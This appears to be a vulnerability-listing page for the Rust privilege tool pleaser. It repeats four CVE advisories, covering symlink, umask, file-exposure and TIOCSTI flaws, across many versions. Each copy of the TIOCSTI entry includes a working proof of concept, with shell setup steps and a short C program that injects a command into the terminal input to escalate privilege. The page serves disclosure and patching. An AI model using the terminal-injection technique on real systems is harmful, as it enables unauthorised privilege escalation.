
CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Dec 11, 2020

0.3.17 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Dec 10, 2020

0.3.16 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Nov 19, 2020

0.3.15 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Nov 15, 2020

0.3.12 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Oct 24, 2020

0.3.11 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Oct 24, 2020

0.3.10 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Oct 24, 2020

0.3.9 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Oct 24, 2020

0.3.8 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Oct 08, 2020

0.3.7 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Oct 06, 2020

0.3.5 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Sep 19, 2020

0.3.4 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Sep 09, 2020

0.3.3 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
